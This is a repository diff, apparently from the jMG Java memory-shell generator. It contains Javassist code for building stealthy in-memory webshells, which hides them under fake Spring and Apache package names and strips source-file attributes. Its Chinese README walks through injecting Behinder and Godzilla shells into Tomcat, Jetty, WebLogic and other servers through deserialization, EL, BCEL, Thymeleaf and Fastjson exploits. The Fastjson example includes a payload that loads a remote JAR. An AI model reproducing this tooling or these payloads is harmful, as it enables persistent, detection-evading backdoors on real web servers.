" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", new Class[]{java.lang.reflect.Field.class});\n" +
" java.lang.reflect.Field moduleF = Class.class.getDeclaredField(\"module\");\n" +
" Object offset = objectFieldOffsetM.invoke(unsafe, new Object[]{moduleF});\n" +
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", new Class[]{Object.class, long.class, Object.class});\n" +
" getAndSetObjectM.invoke(unsafe, new Object[]{this.getClass(), offset, module});\n" +
" } catch (Exception ignored) {\n" +
" }}";
}
}
@@ -0,0 +1,167 @@
package jmg.core.util;
import javassist.*;
import javassist.bytecode.*;
import javassist.bytecode.annotation.Annotation;
import java.util.List;
/**
* javassist 工具类
*/
public class JavassistUtil {
private static ClassPool pool = ClassPool.getDefault();
public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception {
ctClass.defrost();
try {
// 已存在,修改
CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
ctMethod.setBody(methodBody);
} catch (NotFoundException ignored) {
// 不存在,直接添加
CtMethod method = CtNewMethod.make(methodBody, ctClass);
ctClass.addMethod(method);
}
}
public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
ctClass.defrost();
try {
// 已存在,删除
CtField field = ctClass.getDeclaredField(fieldName);
ctClass.removeField(field);
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.PUBLIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
} catch (NotFoundException ignored) {
// // 不存在,直接添加
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
ctClass.defrost();
try {
// 已存在,删除
CtField field = ctClass.getDeclaredField(fieldName);
ctClass.removeField(field);
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.PUBLIC);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
} catch (NotFoundException ignored) {
// // 不存在,直接添加
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
public static void extendClass(CtClass ctClass, String superClassName) throws Exception {
ctClass.defrost();
CtClass interfaceClass = pool.makeClass(superClassName);
ctClass.setSuperclass(pool.get(interfaceClass.getName()));
}
public static void implementInterface(CtClass ctClass, String interfaceClassName) throws Exception {
ctClass.defrost();
CtClass interfaceClass = pool.makeInterface(interfaceClassName);
CtClass[] ctClasses = new CtClass[]{interfaceClass};
ctClass.setInterfaces(ctClasses);
}
public static void addAnnotation(CtClass ctClass, String interfaceClassName) throws Exception {
ctClass.defrost();
ClassFile classFile = ctClass.getClassFile();
ConstPool constPool = classFile.getConstPool();
AnnotationsAttribute clazzAnnotationsAttribute = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
Annotation clazzAnnotation = new Annotation(convertClassNameToFilePath(interfaceClassName), constPool);
clazzAnnotationsAttribute.setAnnotation(clazzAnnotation);
ctClass.getClassFile().addAttribute(clazzAnnotationsAttribute);
}
// 删除内存马 SourceFileAttribute (源文件名) 信息
public static void removeSourceFileAttribute(CtClass ctClass) {
ctClass.defrost();
ClassFile classFile = ctClass.getClassFile2();
try {
// javassist.bytecode.ClassFile.removeAttribute Since: 3.21
CommonUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag});
} catch (Exception e) {
try {
// 兼容 javassist v3.20 及以下
List<AttributeInfo> attributes = (List<AttributeInfo>) CommonUtil.getFV(classFile, "attributes");
removeAttribute(attributes, SourceFileAttribute.tag);
} catch (Exception ignored) {
}
}
}
public static synchronized AttributeInfo removeAttribute(List<AttributeInfo> attributes, String name) {
if (attributes == null) return null;
for (AttributeInfo ai : attributes)
if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai;
return null;
}
public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
if (fieldValue != null) {
JavassistUtil.addField(ctClass, fieldName, fieldValue);
}
}
public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
if (fieldValue != null) {
JavassistUtil.addStaticField(ctClass, fieldName, fieldValue);
}
}
public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception {
if (className != null) {
ctClass.setName(className);
}
}
public static String convertClassNameToFilePath(String className) {
return className.replace(".", "/");
}
}
@@ -0,0 +1,30 @@
package jmg.core.util;
import java.util.Random;
public class PackageNameUtil {
private static final String[] packageNames = {
"org.springframework",
"org.apache.commons",
"org.apache.logging",
"org.apache",
"com.fasterxml.jackson",
"org.junit",
"org.apache.commons.lang",
"org.apache.http.client",
"com.google.gso",
"ch.qos.logback"
};
public static String generatePackageName() {
Random random = new Random();
String packageName = packageNames[random.nextInt(packageNames.length)];
return packageName;
}
public static String getRandomPackageName() {
return generatePackageName();
}
}
@@ -0,0 +1,37 @@
package jmg.core.util;
import java.util.AbstractMap;
import java.util.Map;
import java.util.Random;
public class RandomHttpHeaderUtil {
private static final Random RANDOM = new Random();
public static Map.Entry<String, String> generateHeader() {
String key = generateRandomKey();
String value = generateRandomValue(key);
return new AbstractMap.SimpleEntry<>(key, value);
}
private static String generateRandomKey() {
String[] keys = {"Referer","User-Agent"};
return keys[RANDOM.nextInt(keys.length)];
}
private static String generateRandomValue(String key) {
switch (key) {
case "Referer":
case "User-Agent":
return generateRandomValue();
default:
return "";
}
}
private static String generateRandomValue() {
return CommonUtil.genRandomLengthString(4);
}
}
@@ -0,0 +1,76 @@
package jmg.core.util;
import java.util.HashMap;
import java.util.Map;
public class ResponseUtil {
private static final Map<String, String> METHOD_BODY_MAP = new HashMap<>();
static {
METHOD_BODY_MAP.put("tomcat", getCommonMethodBody());
METHOD_BODY_MAP.put("jboss", getCommonMethodBody());
METHOD_BODY_MAP.put("weblogic", getCommonMethodBody());
METHOD_BODY_MAP.put("glassfish", getCommonMethodBody());
METHOD_BODY_MAP.put("resin", getResinMethodBody());
METHOD_BODY_MAP.put("jetty", getJettyMethodBody());
METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody());
METHOD_BODY_MAP.put("undertow", getUndertowMethodBody());
}
public static String getMethodBody(String serverType) {
return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), "");
}
private static String getCommonMethodBody() {
return "{javax.servlet.http.HttpServletResponse response = null;" +
" try {" +
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" +
" } catch (Exception ex) {" +
" try {" +
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" +
" } catch (Exception ex1) {" +
" }" +
" }" +
" return response;}";
}
private static String getResinMethodBody() {
return "{javax.servlet.http.HttpServletResponse response;" +
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" +
" return response;}";
}
private static String getJettyMethodBody() {
return "{javax.servlet.http.HttpServletResponse response;\n" +
" try{\n" +
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" +
" }catch (Exception e){\n" +
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" +
" }\n" +
" return response;}";
}
private static String getWebsphereMethodBody() {
return "{javax.servlet.http.HttpServletResponse response;" +
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" +
" return response;}";
}
private static String getUndertowMethodBody() {
return "{javax.servlet.http.HttpServletResponse response = null;\n" +
"java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" +
"Object[] keys = map.keySet().toArray();\n" +
"for (int i = 0; i < keys.length; i++) {\n" +
" Object key = keys[i];\n" +
" if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" +
" response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" +
" break;\n" +
" }\n" +
"}\n" +
"return response;}";
}
}
@@ -0,0 +1,4 @@
package org.springframework.web.servlet;
public interface AsyncHandlerInterceptor {
}
Binary file not shown.
+21
View File
@@ -0,0 +1,21 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jmg</groupId>
<artifactId>java-memshell-generator</artifactId>
<version>1.0.8</version>
</parent>
<artifactId>jmg-custom</artifactId>
<dependencies>
<dependency>
<groupId>${parent.groupId}</groupId>
<artifactId>jmg-core</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,54 @@
package jmg.custom.generator;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import jmg.core.config.AbstractConfig;
import jmg.core.generator.IShellGenerator;
import jmg.core.util.CommonUtil;
import javax.servlet.Filter;
import javax.servlet.ServletRequestListener;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
public class CustomGenerator implements IShellGenerator {
@Override
public void initShell(AbstractConfig config) {
File f;
try {
f = new File(config.getClassFilePath());
if (!f.exists() || !f.isFile()) {
return;
}
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(Filter.class));
classPool.insertClassPath(new ClassClassPath(ServletRequestListener.class));
classPool.makeInterface("org.springframework.web.servlet.AsyncHandlerInterceptor");
classPool.makeInterface("org.springframework.web.servlet.HandlerInterceptor");
String filePath = config.getClassFilePath();
CtClass ctClass = classPool.makeClass(new DataInputStream(new FileInputStream(filePath)));
config.setShellClassName(ctClass.getName());
ctClass.detach();
} catch (Exception e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
@Override
public byte[] makeShell(AbstractConfig config) throws Exception {
initShell(config);
byte[] bytes = CommonUtil.getFileBytes(config.getClassFilePath());
config.setShellBytes(bytes);
config.setShellBytesLength(bytes.length);
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
return bytes;
}
@Override
public byte[] modifyShell(String className, AbstractConfig config) {
return null;
}
}
File diff suppressed because one or more lines are too long
+368
View File
@@ -0,0 +1,368 @@
---
title: jMG v1.0.4 - 高度自定义的 Java 内存马生成工具
author: pen4uin
date: 2023-06-04
---
# jMG v1.0.4 - 高度自定义的 Java 内存马生成工具
## 0x01 简介
**jMG (Java Memshell Generator)** 是一款支持高度自定义的 java 内存马生成工具,可作为 woodpecker 的插件使用,提供常见中间件的内存马注入支持。
![](./img/1708846585021.png)
功能介绍
- 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring)
- 支持的网站管理工具 (Behinder/Godzilla/Custom)
- 支持的内存马类型 (Filter/Listener/Interceptor)
- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
- 支持的辅助模块 (探测目标中间件/序列化数据封装)
模块划分
- 内存马生成模块
- Behinder、Godzilla
- Custom
- 注入自定义的Filter和Listener,常见场景:其他网站管理工具的服务端、内存代理、内存水坑等
- 辅助模块
- ServerType Detector 中间件探测器
- 探测中间件信息,常见场景:SpringBoot Fatjar
- 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog)
- Ysoserial Payload Generator
- 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率
参数说明
| 参数名称 | 参数说明 | 其他 | |
|-------------|----------|----------------------------------------|-|
| server_type | 选择中间件的类型 | |
| shell_type | 选择内存马的类型 | |
| gadget_type | 选择利用链的类型 | 根据gadget自动完成对class的特殊处理,如继承类、实现接口、添加注解 |
| format_type | 输出格式 | |
更多参数 - 参数自定义
![](./img/1708846851378.png)
## 0x02 中间件覆盖情况
| | godzilla-listener | godzilla-filter | behinder-listener | behinder-filter |
|-----------------|-------------------|-----------------|-------------------|-----------------|
| tomcat 9.0.39 | ✅ | ✅ | ✅ | ✅ |
| tomcat 8.5.53 | ✅ | ✅ | ✅ | ✅ |
| tomcat 7.0.59 | ✅ | ✅ | ✅ | ✅ |
| tomcat 6.0.48 | ✅ | ✅ | ✅ | ✅ |
| tomcat 5.5.36 | ✅ | ✅ | ✅ | ✅ |
| jetty 9.4.43 | ✅ | ✅ | ✅ | ✅ |
| jetty 8.2.0 | ✅ | ✅ | ✅ | ✅ |
| jetty 7.6.0 | ✅ | ✅ | ✅ | ✅ |
| resin 4.0.66 | ✅ | ✅ | ✅ | ✅ |
| resin 3.1.15 | ✅ | ✅ | ❌ | ✅ |
| weblogic 10.3.6 | ✅ | ✅ | ✅ | ✅ |
| weblogic 12.1.3 | ✅ | ✅ | ✅ | ✅ |
| websphere 8.5.5 | ✅ | ✅ | ❌ | ✅ |
| websphere 9.0.0 | ✅ | ✅ | ❌ | ✅ |
注:以上测试结果仅供参考
## 0x03 常见漏洞场景
### 01 文件上传漏洞 (JSP)
本地测试环境
- Tomcat v6.0.48
- JDK 8
- 文件上传
1、生成 jsp 文件
![](./img/1708847432299.png)
2、上传 jsp 到目标服务器,访问即可注入内存马,参考使用说明进行设置
- 设置请求头
![](./img/1708847448833.png)
3、成功连接
![](./img/1708847459275.png)
### 02 反序列化漏洞 (readObject)
本地测试环境
- Tomcat v8.5.53
- JDK 8
- readObject 反序列化
- CB1 链
1、生成 class 文件
```text
server_type=Tomcat
shell_type=Listener
# 继承 AbstractTranslet
gadget_type=JDK_AbstractTranslet
format_type=CLASS
output_path=/tmp/
```
![](./img/1708847507811.png)
2、使用 `辅助模块` 进行序列化数据封装
```text
yso_gadget=CommonsBeanutils1
yso_cmd=class_file:/tmp/HttpClientUtil.class
format_type=BASE64
```
![](./img/1708847533913.png)
注:依赖 https://github.com/woodpecker-framework/ysoserial-for-woodpecker
3、利用后,参考使用说明进行连接
![](./img/1708847546219.png)
### 03 表达式注入漏洞 (EL)
本地测试环境
- Tomcat v8.5.83
- JDK 8
- EL 表达式代码执行
1、生成 class文件
```text
server_type=Tomcat
shell_type=Listener
gadget_type=NONE
format_type=CLASS
output_path=/tmp/
```
![](./img/1708847591532.png)
2、使用 jexpr-encoder-utils 进行封装
![](./img/1708847605226.png)
注:依赖 https://github.com/woodpecker-appstore/jexpr-encoder-utils
3、利用后,参考使用说明进行连接
![](./img/1708847621706.png)
### 04 代码执行漏洞 (Bsh)
本地测试环境
- Resin v4.0.40
- JDK 8
- Bsh 代码执行漏洞
1、选择 输出格式为 BCEL ,生成 paylaod
```text
server_type=Resin
shell_type=Listener
gadget_type=NONE
format_type=BCEL
```
![](./img/1708847681909.png)
2、利用 BCEL 打内存马
```text
new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("BCEL编码后的paylaod").newInstance();
```
3、参考使用说明进行连接
![](./img/1708847705412.png)
### 05 反序列化漏洞 (Fastjson)
本地测试环境
- Tomcat v8.5.83
- Fastjson v1.2.80 反序列化漏洞
- Groovy v3.0.8
1、选择 输出格式为 JAR,生成 payload
```text
server_type=Tomcat
shell_type=Listener
# 选择利用链为 Fastjson+Groovy
gadget_type=FastjsonGroovy
format_type=JAR
output_path=/tmp/fj/
```
![](./img/1708847745212.png)
2、利用 groovy 利用链打内存马
第1个请求
```json
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
```
第2个请求
```json
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8888/NetworkUtils.jar"
}
}
```
![](./img/1708847792621.png)
3、参考使用说明进行连接
![](./img/1708847802775.png)
### 06 模板注入漏洞 (Thymeleaf)
本地测试环境
- SpringBoot v2.2.0.RELEASE
- 内嵌 Jetty
- JDK 8
- Thymeleaf 模板注入漏洞
由于 springboot 可以自定义中间件,所以在 springboot 场景下注入内存马时需要考虑目标中间件可能不是常见的tomcat,有可能是jetty/undertow,也有可能是信创中间件。
这种情况一般有两种方案:
- 注入框架层面的内存马,比如 interceptor
- 先判断出目标中间件,再注入对应中间件的内存马
这个时候就需要上 辅助模块 - ServerType Detector 来探测目标中间件。
1、优先使用 DFSEcho 通过回显来判断目标中间件,失败后再考虑dnslog等其他选择
```text
detect_way=DFSEcho
server_type=Tomcat
dnslog_domain=xxx.dnslog.cn
httplog_url=http://xxx.httplog.cn
sleep_seconds=5
gadget_type=NONE
format_type=BCEL
```
![](./img/1708847855479.png)
2、获取到目标中间件为 jetty
![](./img/1708847867937.png)
3、生成对应的 payload
```text
server_type=Jetty
shell_type=Listener
gadget_type=NONE
format_type=BCEL
```
![](./img/1708847885651.png)
4、漏洞利用
第1次尝试 - 失败
![](./img/1708847896934.png)
很常见的问题,参考 shiro 的漏洞利用的解决方案,写个 loader 加载字节码再 defineclass 即可。
重新生成 payload
![](./img/1708847909642.png)
5、利用后参考使用说明进行连接即可
![](./img/1708847921416.png)
更多的场景就见仁见智了。
## 0x04 常见利用场景
### 01 注入内存代理
本地测试环境
- Tomcat v8.5.53
- JDK 8
- readObject 反序列化
- CB1 链
1、以 suo5 为例,编译 Suo5Filter.java
https://github.com/zema1/suo5/blob/main/assets/Suo5Filter.java
2、选择对应的中间件,生成 payload
```text
server_type=Tomcat
gadget_type=JDK_AbstractTranslet
format_type=CLASSc
lass_file_path=/tmp/Suo5Filter.class
output_path=/tmp/
```
![](./img/1708847982473.png)
3、使用 辅助模块 进行序列化数据封装
![](./img/1708847996329.png)
4、利用后连接测试,内存代理注入成功
![](./img/1708848005979.png)
## 0x05 小结
下载地址
[java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
注意⚠️
```text
该工具仅适用于在授权环境/测试环境进行使用,请勿用于生产环境。
如果遇到 bug / 建议 / 实战场景需求,欢迎提 issue 交流
```
目录结构如下 (需要下载 yso-for-woodpecker)
```text
pen4uin@bogon Desktop % tree /tmp/woodpecker
/tmp/woodpecker
├── common
│ └── ysoserial-for-woodpecker-0.5.2.jar
├── config.db
├── plugin
│ └── jMG-1.0.4.beta1.jar
└── woodpecker-framework.1.3.5.jar
```
<br>
参考
- https://github.com/feihong-cs/memShell
- https://github.com/su18/MemoryShell
- https://github.com/woodpecker-framework/
- https://github.com/BeichenDream/GodzillaMemoryShellProject
Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 178 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 228 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 179 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 156 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 183 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 159 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 166 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 162 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 168 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 127 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 151 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 99 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 294 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Some files were not shown because too many files have changed in this diff Show More